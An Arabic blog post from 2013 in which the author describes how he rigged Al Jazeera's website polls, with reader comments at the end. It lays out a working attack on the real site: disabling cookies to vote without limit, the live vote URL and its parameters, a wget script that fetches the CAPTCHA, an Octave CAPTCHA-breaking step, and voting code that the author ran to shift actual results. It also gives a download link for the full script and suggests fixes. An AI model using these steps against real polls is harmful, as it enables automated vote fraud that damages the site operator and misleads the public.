مرحباً! إسمي وائل حمدان وأهتم بتصميم المواقع، البرمجة، والتصوير. هذه مدونتي الشخصية و أعالج فيها أمور تتعلق بالتصميم، الكمبيوتر، الإنترنت، التكنولوجيا وكل ما يخطر في ذهني.

شاهدنا في الأيام القليلة الماضية الكثير من الجدال حول مصداقية نتائج إستطلاع الرأي الذي تقيمه قناة الجزيرة على موقعها الرسمي حول مواضيع مختلفة تكنولوجية، رياضية و سياسية. و مشاركة ً مني في توضيح الصورة، قمت بإجراء بعض الإختبارات على الموقع وهذا ما وجدت:

1- الثغرة الاولى:

لا يقوم الموقع بحفظ عنوان الآي بي (IP Adress)  الخاص بالمستخدم بعد عملية التصويت و لاكن يقوم بحفظ “كوكي” (Cookie) على متصفح الويب.

ماذا تعني؟

بما أن عنوان الآي بي هو فريد لكل مستخدم على شبكة الإنترنت، غياب التحققّ منه بعد كل عملية تصويت يُمكّن التصويت أكتر من مرة من كمبيوتر واحد فقط. هذا يعني أن مستخدم واحد يمكنه أن يقوم بالتصويت بعدد غير محدود من الأصوات و لفترة غير محدودة من الزمن.

كيف يُستفاد منها؟

للإستفادة من هذه الثغرة ما عليك فعله هو فقط تعطيل حفظ الكوكي على متصفحك. لتعطيل الكوكي على متصفحك إضغط على رابط المتصفح الذي تستخدمه و قم بإتباع الخطوات:

  • تعطيل الكوكي على متصفح Internet Explorer
  • تعطيل الكوكي على متصفح Chrome
  • تعطيل الكوكي على متصفح Firefox
  • تعطيل الكوكي على متصفح Safari

هذه الصورة تظهر الكوكي التي يقوم الموقع بحفظها على المتصفح و التي تمنعك من التصويت أكثر من مرة.

كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

إزالة الكوكي المحفوظة على المتصفح

كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

هذه الصورة هي بعد حجب الكوكي من الموقع و التي تسمح لنا الأن بالتصويت بعدد غير متناهي.

كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

ما هو الحل للجزيرة؟

لإغلاق هذه الثغرة على الجزيرة حفظ الآي بي الخاص بالمستخدم بعد كل تصويت و عدم الإكتفاء بالكوكي فقط. تجدر الإشارة هنا إلى أن هذا الحل يمكن أن يتم خرقه أيضا بإستعمال بروكسي (Proxy) و الذي يقوم بتوليد آي بي جديد للمستخدم ، لكن يمكن معالجته عبر حجب البروكسي عن الموقع. أيضاً هناك إمكانية توليد آي بي جديد عند بعض المستخدمين بإعادة تشغيل المودم (Modem) فقط. تبقى هذه الإحتمالات ضئيلة و لكن  الحل الأمثل يبقى بإجبار المستخدم إستعمال حساب خاص للتصويت يقوم بتسجيله مسبقا على الموقع.

2- الثغرة الثانية:

الثغرة الثانية – و الأخطر – هي الكابتشا (Captcha). يستخدم الموقع كابتشا ضعيفة جدا يمكن بسهولة تفكيكها و معرفة حروفها ألياً دون تتدخل العقل البشري.

كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

كابتشا الجزيرة

ماذا تعني؟

الكابتشا هدفها هو منع مكننة التصويت بشكل ألي و أتوماتيكي من خلال إجبار المستخدم  على إدخال أحرف متطابقة مما يتطلب وجود إنسان بشري حيث تعجز الألة أو الكمبيوتر على قرائتها. ضعف الكابتشا على موقع الجزيرة يفتح المجال أمام جعل التصويت أوتماتيكياً دون تدخل الإنسان و ذلك من خلال سكربت أو برنامج يقوم بتحليل الكابتشا (نظرا لسهولتها) و إدخال الأحرف تلقائيا. أي بمعنى أخر التصويت أوتوماتيكيا.

على سبيل المثال يمكن برمجة برنامج يقوم بإرسال صوت كل ثانية على أي إستطلاع على الموقع على مدار اليوم. هذا يعني تسجيل 86400 صوت خلال 24 ساعة.

كيف يُستفاد منها؟

بواسطة سكربت خاص سنقوم بتحليل الكابتشا ثمّ إرسال صوت بالخيار الذي نريده على الإستطلاع الذي نقوم بإختياره كل ثانيتين لمدة زمنية غير محدودة.

يشكل مُبسّط هذه طريقة عمل البرنامج:

كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

الخطوة الأولى:

الحصول على رابط الإستطلاع سهل جدا. فقط قم بتمرير الفأرة على عنوان الإستطلاع و إنظر في أسفل شمال الشاشة كما هو واضح في الصورة.

كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

رقم الإستطلاع في هذه الحالة هو 4273 و الرابط مع خيار التصويت بـ “لا” سيكون على الشكل التالي:

1
http://www.aljazeera.net/Sitevote/SiteServices/SupportPages/vote/SecureVote.aspx?voteID=4273&actionType=1&dispType=1&yourAnswer=2

حيث أن ما عليك فعله هو إستبدال voteID برقم الإستطلاع و yourAnswer بـ “1″ لـ “نعم” و بـ “2″ لـ “لا”.

الخطوة الثانية:

الأن بعد الحصول على الرابط نقوم بتحميل الكابتشا و حفظها على الكمبيوتر.

1
2
3
4
5
6
7
RABET_ESTETLAA='http://www.aljazeera.net/Sitevote/SiteServices/SupportPages/vote/SecureVote.aspx?voteID=4273&actionType=1&dispType=1&yourAnswer=2'

RABET_CAPTCHA_SAGEER=$(wget -qO- --no-cache --no-cookies --no-dns-cache --random-wait --user-agent="Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" --referer="http://www.aljazeera.net/sitevote/vote/4273$/getothervote" "http://www.aljazeera.net/Sitevote/SiteServices/SupportPages/vote/SecureVote.aspx?voteID=4273&actionType=1&dispType=1&yourAnswer=2"| grep ?Code= | sed "s/.*?Code=\(.*\)&.*/\1/")

RABET_CAPTCHA_KAMEL="http://www.aljazeera.net/Sitevote/SiteServices/Contrlos/SecureCAPTCHA/GenerateImage.aspx?Code=$CAPTCHA_CODE&Length=4"

MALAFF_CAPTCHA="=$(echo $CAPTCHA_CODE | sed "s,/,_,g") wget --no-cache --no-cookies --no-dns-cache --random-wait --user-agent="Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" --referer="http://www.aljazeera.net/sitevote/vote/4273$/getothervote" "$RABET_CAPTCHA_KAMEL" -O captchas/$CAPTCHA_FILE.jpeg "
كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

الكابتشة التي تم تحميلها

الخطوة الثالثة:

بعد أن حصلنا على الكابتشا نقوم بتحليل الأحرف أوتوماتيكياً بواسطة سكربت التفكيك.

1
 octave init_decrypt captchas/$MALAFF_CAPTCHA.jpeg $RABET_CAPTCHA_SAGEER

كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

بعد إنتهاء السكربت عن العمل سنحصل على أحرف الكابتشا.

الخطوة الرابعة:

الأن أصبح بإمكاننا إرسال التصويت و تسجيل ما إن تم بنجاح أم لا من خلال الرد المُرسل من سرفر الجزيرة.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
str = ["http://www.aljazeera.net/SiteVote/vote/", captcha_decrypted,"/4273/2/1/1/"];

vote=urlread(str, "post",{"hdnEncrypted", code});

msg idx = strfind (vote, "true");

if (length(idx)> 0)

save -append log.txt pr

else

save -append log.txt de

endif

unlink(captcha);

وهذا ما يرسله السرفر إذا تم التصويت بنجاح

1
{"Success":true,"Message":""}

شرح الخطوات التي تمر بها السكربت أثناء تشغيلها:

كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

أثناء عمل السكربت

شاهد السكربت تعمل:

وهذه النتائج قبل و بعد تشغيل السكربت:

كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

قبل

كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

بعد

للإطلاع على كود السكربت بأكمله أو لتشغيلها يمكن تحميلها من هنا مع إرشادات التنصيب.

ما هو الحل للجزيرة؟

الحل طبعا يكمن بإستعمال كابتشا أكثر تعقيدا حيث يصعب على الكمبيوتر تفكيكها. كذلك فإن إغلاق الثغرة الأولى كفيل بالحد من إستغلال هذه الثغرة.

كذلك لاحظت أن الموقع يسمح بالتصويت على أي إستطلاع حتى بعد إنتهاء فترة التصويت، و الإستطلاع الذي تم إستعماله في الأعلى هو خير مثال.

كيف قمت بخرق  خدمة إستطلاع الرأي على موقع الجزيرة و التلاعب بالنتائج

أخذت هذه الصورة في 7/6/2013

و يبقى السؤال: هل ضرَبت هذه الثغرات مصداقية الإستطلاعات التي تقيمها الجزيرة بعرض الحائط أم لا؟

____________

شُكر خاص لإسلام العشي لمساهمته.

كتبت هذه التدوينة بتارخ يونيو 8, 2013 تحت إنترنت. هل أحببت هذه التدوينة وتريد أن تبقى على تواصل؟ تابعني على قارئ الخلاصات آر إس إس أو على تويتر.

  1. محمد قال:

    لا لم تضربها بعرض الحائظ ولم تقترب حتى.
    0.2% هل هذا كل مايمكنك فعله؟؟ هل تعتقد حقًا أن هذه الأداة قد تغير حقًا من نتيجة التصويت؟
    وألا تعتقد أن التعليم في العالم العربي يتواءم مع سوق العمل؟ مهما حاول المخترقون فالنسبة لايمكن التلاعب بها، كما أن الكابتشا سهلة وبسيطة لتسهيل عملية التصويت على الشخص الذي يقوم بالتصويت لكي تسهل العملية عوضًا عن وضع كابتشا طويلة عريضة.

    ثم هذه الطريقة لاتعمل على الجزيرة فقط، كل المواقع التي تستخدم كابتشا يمكن فك شفرتها (بعضها سهل وبعضها صعب) وهنا أنت لم تأتي بجديد مطلقًا، هل تعتقد ان كابتشا جوجل لايمكن فكها مثلًا؟

    هذا التقرير هو مجرد هجوم بلا معنى على الجزيرة، ثم التصويت طوال الوقت يعكس الحقيقة في العالم العربي، لم يسبق وأن تفاجئنا يومًا بنتيجة التصويت، ثم تأتي وتقول أنه يمكن اختراقه بسهولة؟؟؟

    عجيب.

  2. kinds قال:

    “لم يسبق وأن تفاجئنا يومًا بنتيجة التصويت”!!!!
    هذا يدل أنكم عمي عن الحقائق, و لا يصلكم سوى ما يريده الحاكم ان يصل.
    بس اكيد ياتي يوم و تتفاجئ بما خفي عنك.

  3. شات كول قال:

    صراحه اول مره اعرف

    هل يتم التعلاعب حقيقه ؟؟؟

    شكرا ع الموضوع

  4. صحيفة قال:

    اتوقع لا.
    يعطيك العافية اخوي على الموضوع الرائع.

  5. مجهود كبير ومدونة رائعة حقاً وانا من أشد المعجبين بها ، بالتوفيق والى مزيد من التقدم والإزدهار .

عرض أخر المواضيع من موقعي